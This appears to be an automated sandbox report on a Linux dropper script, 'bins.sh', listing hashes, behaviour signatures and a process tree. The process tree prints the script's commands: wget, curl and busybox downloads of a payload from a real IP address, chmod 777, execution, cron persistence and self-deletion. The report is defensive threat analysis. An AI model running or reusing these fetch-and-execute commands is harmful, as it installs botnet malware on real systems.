Analysis
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max time kernel
149s -
max time network
153s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 06:22
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
a907747b98b9d664473f98c795b9aa0b
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SHA1
09582d30c9eeb7afd4082871aa2fbcd003fdfdf7
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SHA256
267a3a050e4a19bd30d00800a2f746eb9dfb894921f15d3f69c27c672d5b513a
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SHA512
cafc9f4e197f621722ddb1eae2b1b34caf79f7c5a79ebc81281a63f6ca0e59216b0dd59704df71c3ac15c3f9419e706961f021e6465a5c839122cb02c49598b4
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SSDEEP
192:xkciP7LGOqvFaMj5fHo7AfHPkZP7LGO8vh:xxWMjGaZ
Malware Config
Signatures
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Contacts a large (2150) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1496 chmod -
Executes dropped EXE 1 IoCs
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXioc pid Process /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX 1497 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Renames itself 1 IoCs
Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXpid Process 1498 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.bEQJmf crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WXdescription ioc Process File opened for reading /proc/28/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/412/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1076/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1533/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1620/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1662/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/701/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1072/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1638/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/154/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/658/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1133/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1507/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1567/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1648/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1724/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1573/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1603/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1506/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1508/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1605/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1694/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/157/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/947/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1179/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1650/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/3/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/78/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/429/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1555/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1586/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1596/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1723/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/16/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/82/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/671/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1544/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1547/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1585/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1591/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/8/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/257/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1150/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1576/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1672/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1711/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1526/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1535/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1712/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1714/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1512/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1550/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1627/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1653/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1668/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1678/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1703/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/6/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/667/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1519/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1532/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/1631/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX File opened for reading /proc/163/cmdline osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxdescription ioc Process File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX wget File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX curl File opened for modification /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1479
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/bin/rm/bin/rm bins.sh2⤵PID:1480
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/usr/bin/wgetwget http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1481
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/usr/bin/curlcurl -O http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1491
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Writes file to tmp directory
PID:1495
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/bin/chmodchmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- File and Directory Permissions Modification
PID:1496
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/tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1497 -
/bin/shsh -c "crontab -l"3⤵PID:1499
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/usr/bin/crontabcrontab -l4⤵PID:1500
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/bin/shsh -c "crontab -"3⤵PID:1501
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1502
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/bin/rmrm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX2⤵PID:1504
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/usr/bin/wgetwget http://216.126.231.240/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE2⤵PID:1507
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
210B
MD573cb39834fa7c11d8fc258c0a66003f6
SHA1fffb08d28b4e9427ca08aa9601c7f23a048ab11f
SHA256a273a308a39b73b2a375e5acbda2032061f8c3616ae8779adf72d0bd537986a7
SHA512a30d8e9410f6af18aaa2c050c1d2f5d73a6395137e3964b366d2ce443b0102ca3abbc433492c136a9780fcab21c54cb5e673e428ec658917862a03ad1c8d1ed0